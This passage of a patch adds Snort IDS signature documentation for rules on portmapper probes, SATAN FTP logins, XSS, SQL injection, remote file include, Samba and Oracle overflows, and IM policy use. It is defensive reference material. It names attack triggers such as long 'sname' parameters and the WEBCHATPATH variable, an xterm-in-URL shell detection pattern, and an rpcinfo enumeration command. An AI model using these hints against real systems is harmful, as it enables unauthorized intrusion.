+This rule detects probes of the portmapper service for rquotad, not probes of the rquotad service itself. Because RPC services often listen on fairly arbitrary ports, it may not be possible to detect misuses of the rquotad service itself. An attacker may attempt to go directly to the rquotad port without querying the portmapper service, which would not trigger the rule.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/359.txt
+++ snort-2.8.5.2/doc/signatures/359.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+359
+
+--
+
+Summary:
+This event is generated when an attempt is made to login anonymously 
+into an ftp server using a suspicious password (-satan)
+
+--
+
+Impact:
+Possible unauthorized access. Information gathering.
+
+--
+
+Detailed Information:
+Satan is an open-source security scanner,a predecessor to Saint, which 
+checks for common vulnerabilities. When it detects an open ftp server, 
+it tries to log in anonymously using the password '-satan'
+
+--
+
+Affected Systems:
+Machines running anonymous ftp servers.
+
+--
+
+Attack Scenarios:
+An attacker scans a range of IPs using the Satan Scanner, checking for 
+known vulnerabilities. If the scanner encounters a ftp server, it tries 
+to log in .
+
+--
+
+Ease of Attack:
+Simple.
+
+--
+
+False Positives:
+A user may be using that same password for a legitimate 
+anonymous login.
+
+--
+
+False Negatives:
+None known.
+
+--
+
+Corrective Action:
+Disable anonymous FTP access.
+
+--
+
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Chaos <c@aufbix.org>
+
+-- 
+
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS329
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2506.txt
+++ snort-2.8.5.2/doc/signatures/2506.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+2506
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the Microsoft implementation of SSL Version 3.
+
+--
+Impact:
+Denial of Service (DoS).
+--
+Detailed Information:
+A vulnerability exists in the handling of SSL Version 3 requests that
+can be manipulated to cause a DoS condition in various software 
+implementations used on Microsoft operating systems.
+
+The condition exists because of poor error handling routines in the
+Microsoft Secure Sockets Layer (SSL) library. SSL requests containing an
+invalid field, sent to vulnerable systems can cause the affected host to stop 
+handling any further requests.
+
+--
+Affected Systems:
+	Microsoft Windows 2000, 2003 and XP systems using SSL
+
+--
+Attack Scenarios:
+An attcker needs to make an SSL request to an affected system that
+contains an invalid field.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2626.txt
+++ snort-2.8.5.2/doc/signatures/2626.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2626
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases may use a built-in procedure to assist in database
+replication. The "send_old_value" procedure contains a
+programming error that may allow an attacker to execute a buffer
+overflow attack.
+
+This overflow is triggered by long strings in some parameters for the
+procedure.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string to either the "sname" or
+"oname" variables to cause the overflow. The result could
+permit the attacker to gain escalated privileges and run code of their
+choosing. This attack requires an attacker to logon to the database
+with a valid username and password combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck91.html
+Action:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000761.txt
+++ snort-2.8.5.2/doc/signatures/100000761.txt
@@ -0,0 +1,56 @@
+
+
+Rule:
+
+--
+Sid:
+100000761
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site scripting vulnerability in the "PHPWebGallery" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site scripting vulnerability via the "keyword" parameter in the "comments.php" script used by the "PHPWebGallery" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to retrieve sensitive data, execute system binaries or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using PHPWebGallery
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2357.txt
+++ snort-2.8.5.2/doc/signatures/2357.txt
@@ -0,0 +1,61 @@
+Rule:  
+
+--
+Sid:
+2357
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the PHP web application WebChat.
+
+--
+Impact:
+Execution of arbitrary code on the affected system
+
+--
+Detailed Information:
+WebChat contains a flaw such that it may be possible for an attacker
+to include code of their choosing by manipulating the variable
+WEBCHATPATH when making a GET or POST  request  to a vulnerable system.
+
+It may be possible for an attacker to execute that code with the
+privileges of the user running the webserver, usually root by supplying
+their code in the file english.php.
+
+--
+Affected Systems:
+	Webdev Webchat 0.77
+
+--
+Attack Scenarios:
+An attacker can make a request to an affected script and define their
+own path for the WEBCHATPATH variable.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade to the latest non-affected version of the software
+
+--
+Contributors:
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1835.txt
+++ snort-2.8.5.2/doc/signatures/1835.txt
@@ -0,0 +1,81 @@
+Rule:
+
+--
+Sid:
+1835
+
+--
+Summary:
+This event is generated when a cross-site scripting attack is being 
+attempted, or a potential attacker is testing your site to determine if 
+it is vulnerable.
+
+--
+Impact:
+Successful cross-site scripting attacks generally target the users of 
+your web site. Attackers can potentially gain access to your users' 
+cookies or session ids, allowing the attacker to impersonate your
+user. They could also set up elaborate fake logon screens to steal 
+user names and passwords.
+
+--
+Detailed Information:
+Whenever a web application accepts input (either via the URL or the 
+POST method) and then uses that input as part of the HTML of a new page 
+without filtering, the application is vulnerable to cross-site 
+scripting.  The traditional means of exploiting this is to embed a 
+"<SCRIPT>" tag into the input. The code following the tag is then 
+executed by the victim's browser.
+
+--
+Affected Systems:
+Many older versions of web server software are affected, as are numerous
+web applications.
+
+--
+Attack Scenarios:
+The most common avenue of attack is for the attacker to send an HTML 
+formatted email to the victim. The email will contain a link to a 
+specially crafted URL which contains the exploit. When the victim clicks
+on the link, they are directed to the vulnerable web site and the attack
+code is executed by their browser.
+
+--
+Ease of Attack:
+Moderately Easy.  Exploit code exists to automate attacks against users 
+of some widely deployed web applications which are known to be 
+vulnerable. 
+
+Finding vulnerabilities in other, including proprietary, web
+applications is fairly trivial and existing exploit code could easily be
+modified to take advantage of newly discovered vulnerabilities.
+
+--
+False Positives:
+Web pages that legimately include the <SCRIPT> tag could generate this 
+event under certain circumstances.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Determine if your web application is actually vulnerable to this 
+attack. If it is and the application is not of your own design, contact 
+the authors or vendor and see if there is a patch or newer version.
+
+If the application is proprietary to you or your company, ensure that it 
+properly validates input.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Kevin Peuhkurinen
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1786.txt
+++ snort-2.8.5.2/doc/signatures/1786.txt
@@ -0,0 +1,59 @@
+Rule:  
+
+--
+Sid:
+
+1786
+
+--
+Summary:
+This rule indicates that a webpage was visited the included the content "raw sex".
+
+--
+Impact:
+Someone could be violating your company's policy regarding the browsing of inappropriate content.
+
+--
+Detailed Information:
+
+This rule looks for a response from a webserver containing "raw sex".
+
+--
+Affected Systems:
+
+All
+
+--
+Attack Scenarios:
+
+Not an attack.  
+
+--
+Ease of Attack:
+
+N/A.
+
+--
+False Positives:
+
+This could have been caused by a pop-up window or spam with an embedded link to a pornographic website.  This could also be caused by somebody visiting the snort rule descriptions on the snort website. etc.etc.
+
+--
+False Negatives:
+
+None known.
+--
+Corrective Action:
+
+Dependent on your company's policies.   
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Steven Alexander<alexander.s@mccd.edu>
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1362.txt
+++ snort-2.8.5.2/doc/signatures/1362.txt
@@ -0,0 +1,59 @@
+Rule: 
+
+--
+Sid: 
+1362
+
+-- 
+Summary:
+A web command execution attack involving the use of a
+"xterm" command
+
+-- 
+Impact: 
+Possible intelligence gathering activity or an attempt to gain elevated privileges on the server by using xterm to open another connection.
+
+-- 
+Detailed Information: 
+The attacker may have gained the ability to execute system commands remotely or the web server may be incorrectly configured to allow such access.
+
+This rule generates an event when a "xterm" command is used over a plain-text (unencrypted) connection on one of the specified web ports to the target web server. The "xterm" command may be used establish an interactive shell session to the machine.
+
+The rule looks for the "xterm" command in the client to web server network traffic and does not indicate whether the command was actually successful. The presence of the "xterm" command in the URI indicates that an attacker attempted to trick the web server into executing system in non-interactive mode i.e. without a valid shell session.
+
+Alternatively this rule may generate an event in an unencrypted HTTP tunneling connection to the server or a shell connection via another exploit against the web server.
+
+-- 
+Attack Scenarios: 
+An attacker uses a "xterm" command to open an interactive session then uses that session to move a rootkit to the system.
+
+--
+Ease of Attack: 
+Simple. No exploit software required
+
+-- 
+False Positives: 
+Any string containing '/usr/X11R6/bin/xterm
+' in the URL will trigger the alarm.
+
+--
+False Negatives: 
+none known
+
+-- 
+Corrective Action: 
+Check the web server software for vulnerabilities and possible upgrades or patches for the system to the latest version of the web software, also investigate the server logs for signs of compromise
+
+Webservers should not be allowed to view or execute files and binaries outside of it's designated web root or cgi-bin. Disallowing execution of this binary via a URI is suggested.
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Anton Chuvakin <http://www.chuvakin.org>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000542.txt
+++ snort-2.8.5.2/doc/signatures/100000542.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+100000542
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection 
+vulnerability in the "Dating Agent" application running on a webserver. Access 
+to the file "mem.php" with SQL commands being passed as the "mid" parameter may 
+indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a 
+remote machine via the "mid" parameter in the "mem.php" script used by the 
+"Dating Agent" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to compromise the database backend for the 
+application, the attacker may also be able to execute system binaries or 
+malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Dating Agent
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application 
+if user input is not correctly sanitized or checked before passing that input 
+to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/605.txt
+++ snort-2.8.5.2/doc/signatures/605.txt
@@ -0,0 +1,58 @@
+Rule: 
+
+--
+Sid: 605
+
+--
+Summary: 
+This event is generated when a remote login attempt using rlogin fails.
+
+--
+Impact: 
+Someone has tried to login using rlogin and failed
+
+-- 
+Detailed Information: 
+This rule generates an event when a login failure message generated by rlogind is seen. rlogin is used on UNIX systems for remote connectivity and remote command execution.  
+
+Multiple events may indicate that an attacker is attempting a brute force password guessing attack.
+
+--
+Attack Scenarios: 
+An attacker finds a machine with rlogin service running and proceeds to guess the password remotely by connecting multiple times.
+
+--
+Ease of Attack: 
+Simple, no exploit software required
+
+--
+False Positives: 
+A legitimate user may generate an event by entering an incorrect password.
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action: 
+Investigate logs on the target host for further details and more signs of suspicious activity
+
+Use ssh for remote access instead of rlogin.
+
+--
+Contributors: 
+Original rule by Max Vision <vision@whitehats.com> modified from a signature written by Ron Gula
+Snort documentation contributed by Anton Chuvakin <http://www.chuvakin.org>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0651
+
+Arachnids:
+http://www.whitehats.com/info/IDS393
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000378.txt
+++ snort-2.8.5.2/doc/signatures/100000378.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000378
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "phpNuke" application running on a webserver. Access to the file "admin_forums.php" using a remote file being passed as the "phpbb_root_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "phpbb_root_path" parameter in the "admin_forums.php" script used by the "phpNuke" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using phpNuke
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2452.txt
+++ snort-2.8.5.2/doc/signatures/2452.txt
@@ -0,0 +1,52 @@
+Rule:
+
+--
+Sid:
+2452
+
+--
+Summary:
+This event is generated when a host in your network that has Yahoo Instant Messenger running attempts to maintain contact with a Yahoo IM server.
+
+--
+Impact:
+Possible policy violation.  Instant Messenger programs may not be appropriate in certain network environments.
+
+--
+Detailed Information:
+Hosts running Yahoo IM periodically communicate with a Yahoo IM server to maintain their connection.  This is a keep-alive message that simply indicates the presences of a host running Yahoo IM.
+
+--
+Affected Systems:
+Any host running Yahoo Instant Messenger.
+
+--
+Attack Scenarios:
+This particular type of Yahoo IM exchange has no known attacks, however it may represent a policy violation because the host is running Yahoo IM.
+
+--
+Ease of Attack:
+A host running Yahoo IM will automatically ping a Yahoo IM server.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+It may be possible for Yahoo IM traffic to use other ports than the default expected ones.  
+
+--
+Corrective Action:
+Disallow the use of IM clients on the protected network and enforce or implement an organization wide policy on the use of IM clients.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+--
+Additional References:
+Yahoo Protocol
+http://www.cse.iitb.ac.in/~varunk/YahooProtocol.htm
+
+--
--- snort-2.8.5.2.orig/doc/signatures/598.txt
+++ snort-2.8.5.2/doc/signatures/598.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+598
+
+--
+Summary:
+This event is generated when an attempt is made dump entries from the portmapper.
+
+--
+Impact:
+Information disclosure.  This request can discover what Remote Procedure Call (RPC) services are offered and on which ports they listen. 
+
+--
+Detailed Information:
+The portmapper service registers all RPC services on UNIX hosts.  It can be queried for all RPC services running, the RPC program name and version, the protocol (TCP or UDP), and the port where the service listens.  This can provide an attacker with valuable information about what RPC services are offered and on which ports.
+
+--
+Affected Systems:
+All hosts running portmapper.
+
+--
+Attack Scenarios:
+An attacker can query the portmapper to discover RPC services and their associated listening ports. 
+
+--
+Ease of Attack:
+Simple. Execute 'rpcinfo -p hostname/IP'.  
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines.
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS429
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2317.txt
+++ snort-2.8.5.2/doc/signatures/2317.txt
@@ -0,0 +1,67 @@
+Rule:  
+
+--
+Sid:
+2317
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the Concurrent Versions System (CVS).
+
+--
+Impact:
+Serious. Manipulation of the host file system is possible.
+
+--
+Detailed Information:
+Concurrent Versions System (CVS) is used to track the history of source
+code files when developing software.
+
+Some versions of CVS contain a vulnerability that may allow an attacker
+to create directories or files in the host filesystem external to the
+cvsroot. This is achieved via a malformed module request.
+
+--
+Affected Systems:
+	CVS versions prior to 1.11.10
+
+--
+Attack Scenarios:
+An attacker may send a specially crafted request to a cvs server and
+create files and directories of their choosing in the hosts root
+filesystem. The attacker may then access these files at will to further
+compromise the system.
+
+--
+Ease of Attack:
+Simple. No exploit software is required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+If compression is being used in data communications between the CVS
+server and clients, this rule will not generate an event.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0977
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000686.txt
+++ snort-2.8.5.2/doc/signatures/100000686.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid:
+100000686
+
+--
+Summary:
+This event is generated when an empty CTCP NOTICE message is sent to an IRC 
+channel.
+
+--
+Impact:
+If the EnergyMech IRC Bot receives such a message, a denial of service 
+condition will occur.
+
+--
+Detailed Information:
+Whenever the EnergyMech IRC Bot processes a null CTCP NOTICE message, a denial 
+of service condition occurs. Note that this rule is set to examine only default 
+IRC ports, in order to conserve system resources; if you are particularly 
+concerned about this exploit, you may wish to set the ports to "any", as IRC 
+channels can exist on any port.
+
+--
+Affected Systems:
+EnergyMech <= 3.0.1
+
+--
+Attack Scenarios:
+An attacker could exploit this vulnerability via any IRC client, or by using an 
+automated script.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to version 3.0.2 or greater.
+
+--
+Contributors:
+VeriSign MSS Operations Team
+Joel Esler <joel.esler@sourcefire.com>
+
+--
+Additional References:
+http://www.energymech.net/versions-3.0.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1640.txt
+++ snort-2.8.5.2/doc/signatures/1640.txt
@@ -0,0 +1,53 @@
+Rule:
+
+--
+Sid: 1640
+
+--
+Summary:
+This event is generated when activity relating to network chat clients is detected.
+
+--
+Impact:
+Policy Violation. Use of chat clients to communicate with unkown external sources may be against the policy of many organizations.
+
+--
+Detailed Information:
+Instant Messaging (IM) and other chat related client software can allow users to transfer files directly between hosts. This can allow malicious users to circumvent the protection offered by a network firewall.
+
+Vulnerabilities in these clients may also allow remote attackers to gain unauthorized access to a host.
+
+--
+Attack Scenarios:
+A user may transfer sensitive company information to an external party using the file transfer capabilities of an IM client.
+
+An attacker might utilize a vulnerability in an IM client to gain access to a host, then upload a Trojan Horse program to gain control of that host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow the use of IM clients on the protected network and enforce or implement an organization wide policy on the use of IM clients.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+IRC Protocol
+http://www.irchelp.org/irchelp/rfc/
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1881.txt
+++ snort-2.8.5.2/doc/signatures/1881.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1881
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000718.txt
+++ snort-2.8.5.2/doc/signatures/100000718.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000718
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "PHPRaid" application running on a webserver. Access to the file "guilds.php" using a remote file being passed as the "phpraid_dir" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "phpraid_dir" parameter in the "guilds.php" script used by the "PHPRaid" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using PHPRaid
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3036.txt
+++ snort-2.8.5.2/doc/signatures/3036.txt
@@ -0,0 +1,67 @@
+Rule: 
+
+--
+Sid: 
+3036
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Samba implementation.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code.
+
+--
+Detailed Information:
+Samba is a file and print serving system for heterogenous networks. It
+is available for use as a service and client on UNIX/Linux systems and as
+a client for Microsoft Windows systems.
+
+Samba uses the SMB/CIFS protocols to allow communication between client
+and server. The SMB protocol contains many commands and is commonly used
+to control network devices and systems from a remote location. A
+vulnerability exists in the way the smb daemon processes commands sent by
+a client system when accessing resources on the remote server.The problem
+exists in the allocation of memory which can be exploited by an attacker
+to cause an integer overflow, possibly leading to the execution of
+arbitrary code on the affected system with the privileges of the user
+running the smbd process.
+
+--
+Affected Systems:
+	Samba 3.0.8 and prior
+
+--
+Attack Scenarios: 
+An attacker needs to supply specially crafted data to the smb daemon to
+overflow a buffer containing the information for the access control lists
+to be applied to files in the smb query.
+
+-- 
+Ease of Attack: 
+Difficult.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/856.txt
+++ snort-2.8.5.2/doc/signatures/856.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+856
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/115-3.txt
+++ snort-2.8.5.2/doc/signatures/115-3.txt
@@ -0,0 +1,69 @@
+
+
+Rule:
+
+--
+Sid:
+115-3
+
+--
+Summary:
+This event is generated when the pre-processor asn1 detects network
